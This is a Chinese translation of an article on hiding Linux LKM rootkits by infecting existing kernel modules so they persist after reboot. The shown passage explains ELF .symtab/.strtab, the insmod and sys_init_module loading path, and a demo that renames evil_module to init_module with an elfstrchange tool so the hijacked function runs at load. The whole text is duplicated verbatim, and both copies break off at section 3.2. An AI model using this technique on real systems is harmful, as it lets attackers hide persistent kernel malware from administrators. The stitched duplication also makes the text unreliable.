内容
1 - 介绍
2 - ELF 基础知识
2.1 - The .symtab section
2.2 - The .strtab section
3 - 玩转 loadable kernel modules
3.1 - 模块加载
3.2 - 修改 .strtab section
3.3 - 插入代码
3.4 - 保持隐蔽性
4 - 实例
4.1 - 最简单的 LKM 感染
4.2 - 我还会回来的 (重启之后)
5 - 关于其他的操作系统
5.1 - Solaris
5.2 - *BSD
5.2.1 - FreeBSD
5.2.2 - NetBSD
5.2.3 - OpenBSD
6 - 结论
7 - 感谢
8 - 参考资料
9 - 源代码
9.1 - ElfStrChange
9.2 - Lkminject
--[ 1 - 介绍
这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用
/dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题:
rootkit在机器重启后可以重新加载。
(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")
本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernelx86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代码插入内核模块中。最后,实战操作一下模块的插入。
--[ 2 - ELF 基础
Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式,请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有用的思路。
----[ 2.1 - .symtab section
这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些数据。在/usr/include/elf.h里可以找到这个结构的定义:
/* Symbol table entry. */(符号列表入口)
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */(符号名(字符串列表索引))
Elf32_Addr st_value; /* Symbol value */(符号的值)
Elf32_Word st_size; /* Symbol size */(符号数据占用空间的大小)
unsigned char st_info; /* Symbol type and binding */(符号类型和绑定)
unsigned char st_other; /* Symbol visibility */(符号的可见性)
Elf32_Section st_shndx; /* Section index */(各section 的索引)
} Elf32_Sym;
这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是存储在 .strtab 里面的。
----[ 2.2 - .strtab section
.strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个字符串的偏移地址。下面是我们的计算公式:
offset_sym_name = offset_strtab + st_name
offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了这个问题,后面章节9.1给出了具体实现的代码。
现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注:这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里,覆盖后面有用的部分)
遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一个模块感染另一个模块。
--[ 3 - 玩转 loadable kernel modules
下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代
码了。
----[ 3.1 - 模块加载
内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。
我们感兴趣的东西是insmod.c文件里的init_module()函数。
static int init_module(const char *m_name, struct obj_file *f,
unsigned long m_size, const char *blob_name,
unsigned int noload, unsigned int flag_load_map)
{
(1) struct module *module;
struct obj_section *sec;
void *image;
int ret = 0;
tgt_long m_addr;
....
(2) module->init = obj_symbol_final_value(f,
obj_find_symbol(f, "init_module"));
(3) module->cleanup = obj_symbol_final_value(f,
obj_find_symbol(f, "cleanup_module"));
....
if (ret == 0 && !noload) {
fflush(stdout); /* Flush any debugging output */
(4) ret = sys_init_module(m_name, (struct module *) image);
if (ret) {
error("init_module: %m");
lprintf(
"Hint: insmod errors can be caused by incorrect module parameters, "
"including invalid IO or IRQ parameters./n"
"You may find more information in syslog or the output from dmesg");
}
}
在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(structsymbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口分别对应着 init_module 和 cleanup_module。
当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall)通知内核加载相应模块。
模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函数的代码可以在 /usr/src/linux/kernel/module.c 里找到:
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
struct module mod_tmp, *mod;
char *name, *n_name, *name_tmp = NULL;
long namelen, n_namelen, i, error;
unsigned long mod_user_size;
struct module_ref *dep;
/* 很多sanity checks */
.....
/* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/
(1) if (copy_from_user((char *)mod+mod_user_size,
(char *)mod_user+mod_user_size,
mod->size-mod_user_size)) {
error = -EFAULT;
goto err3;
}
/* 其他的sanity checks */
....
/* 初始化模块 */
atomic_set(&mod->uc.usecount,1);
mod->flags |= MOD_INITIALIZING;
(2) if (mod->init && (error = mod->init()) != 0) {
atomic_set(&mod->uc.usecount,0);
mod->flags &= ~MOD_INITIALIZING;
if (error > 0) /* Buggy module */
error = -EBUSY;
goto err0;
}
atomic_dec(&mod->uc.usecount);
在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。
----[ 3.2 - 修改 .strtab section
前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。
修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这个工作。我写了一个工具(章节9.1)自动执行这些。
下面是一个简单的例子:
$ cat test.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk ("<1> Into init_module()/n");
return 0;
}
int evil_module(void)
{
printk ("<1> Into evil_module()/n");
return 0;
}
int cleanup_module(void)
{
printk ("<1> Into cleanup_module()/n");
return 0;
}
$ cc -O2 -c test.c
让我们看看 .symtab 和 .strtab 这两个section:
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_
kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 evil_module
0000000000000028 g F .text 0000000000000014 cleanup_module
我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符号名字不能重复。下面是操作过程:
重命名
1) init_module ----> dumm_module
2) evil_module ----> init_module
$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 dumm_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 init_module
0000000000000028 g F .text 0000000000000014 cleanup_module
# insmod test.o
# tail -n 1 /var/log/kernel
May 4 22:46:55 accelerator kernel: Into evil_module()
正如我们看到的,evil_module() 被当作 init_module() 调用了。
1 - 介绍
2 - ELF 基础知识
2.1 - The .symtab section
2.2 - The .strtab section
3 - 玩转 loadable kernel modules
3.1 - 模块加载
3.2 - 修改 .strtab section
3.3 - 插入代码
3.4 - 保持隐蔽性
4 - 实例
4.1 - 最简单的 LKM 感染
4.2 - 我还会回来的 (重启之后)
5 - 关于其他的操作系统
5.1 - Solaris
5.2 - *BSD
5.2.1 - FreeBSD
5.2.2 - NetBSD
5.2.3 - OpenBSD
6 - 结论
7 - 感谢
8 - 参考资料
9 - 源代码
9.1 - ElfStrChange
9.2 - Lkminject
--[ 1 - 介绍
这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用
/dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题:
rootkit在机器重启后可以重新加载。
(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")
本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernelx86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代码插入内核模块中。最后,实战操作一下模块的插入。
--[ 2 - ELF 基础
Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式,请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有用的思路。
----[ 2.1 - .symtab section
这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些数据。在/usr/include/elf.h里可以找到这个结构的定义:
/* Symbol table entry. */(符号列表入口)
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */(符号名(字符串列表索引))
Elf32_Addr st_value; /* Symbol value */(符号的值)
Elf32_Word st_size; /* Symbol size */(符号数据占用空间的大小)
unsigned char st_info; /* Symbol type and binding */(符号类型和绑定)
unsigned char st_other; /* Symbol visibility */(符号的可见性)
Elf32_Section st_shndx; /* Section index */(各section 的索引)
} Elf32_Sym;
这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是存储在 .strtab 里面的。
----[ 2.2 - .strtab section
.strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个字符串的偏移地址。下面是我们的计算公式:
offset_sym_name = offset_strtab + st_name
offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了这个问题,后面章节9.1给出了具体实现的代码。
现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注:这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里,覆盖后面有用的部分)
遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一个模块感染另一个模块。
--[ 3 - 玩转 loadable kernel modules
下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代
码了。
----[ 3.1 - 模块加载
内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。
我们感兴趣的东西是insmod.c文件里的init_module()函数。
static int init_module(const char *m_name, struct obj_file *f,
unsigned long m_size, const char *blob_name,
unsigned int noload, unsigned int flag_load_map)
{
(1) struct module *module;
struct obj_section *sec;
void *image;
int ret = 0;
tgt_long m_addr;
....
(2) module->init = obj_symbol_final_value(f,
obj_find_symbol(f, "init_module"));
(3) module->cleanup = obj_symbol_final_value(f,
obj_find_symbol(f, "cleanup_module"));
....
if (ret == 0 && !noload) {
fflush(stdout); /* Flush any debugging output */
(4) ret = sys_init_module(m_name, (struct module *) image);
if (ret) {
error("init_module: %m");
lprintf(
"Hint: insmod errors can be caused by incorrect module parameters, "
"including invalid IO or IRQ parameters./n"
"You may find more information in syslog or the output from dmesg");
}
}
在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(structsymbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口分别对应着 init_module 和 cleanup_module。
当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall)通知内核加载相应模块。
模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函数的代码可以在 /usr/src/linux/kernel/module.c 里找到:
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
struct module mod_tmp, *mod;
char *name, *n_name, *name_tmp = NULL;
long namelen, n_namelen, i, error;
unsigned long mod_user_size;
struct module_ref *dep;
/* 很多sanity checks */
.....
/* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/
(1) if (copy_from_user((char *)mod+mod_user_size,
(char *)mod_user+mod_user_size,
mod->size-mod_user_size)) {
error = -EFAULT;
goto err3;
}
/* 其他的sanity checks */
....
/* 初始化模块 */
atomic_set(&mod->uc.usecount,1);
mod->flags |= MOD_INITIALIZING;
(2) if (mod->init && (error = mod->init()) != 0) {
atomic_set(&mod->uc.usecount,0);
mod->flags &= ~MOD_INITIALIZING;
if (error > 0) /* Buggy module */
error = -EBUSY;
goto err0;
}
atomic_dec(&mod->uc.usecount);
在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。
----[ 3.2 - 修改 .strtab section
前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。
修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这个工作。我写了一个工具(章节9.1)自动执行这些。
下面是一个简单的例子:
$ cat test.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk ("<1> Into init_module()/n");
return 0;
}
int evil_module(void)
{
printk ("<1> Into evil_module()/n");
return 0;
}
int cleanup_module(void)
{
printk ("<1> Into cleanup_module()/n");
return 0;
}
$ cc -O2 -c test.c
让我们看看 .symtab 和 .strtab 这两个section:
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_
kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 evil_module
0000000000000028 g F .text 0000000000000014 cleanup_module
我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符号名字不能重复。下面是操作过程:
重命名
1) init_module ----> dumm_module
2) evil_module ----> init_module
$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 dumm_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 init_module
0000000000000028 g F .text 0000000000000014 cleanup_module
# insmod test.o
# tail -n 1 /var/log/kernel
May 4 22:46:55 accelerator kernel: Into evil_module()
正如我们看到的,evil_module() 被当作 init_module() 调用了。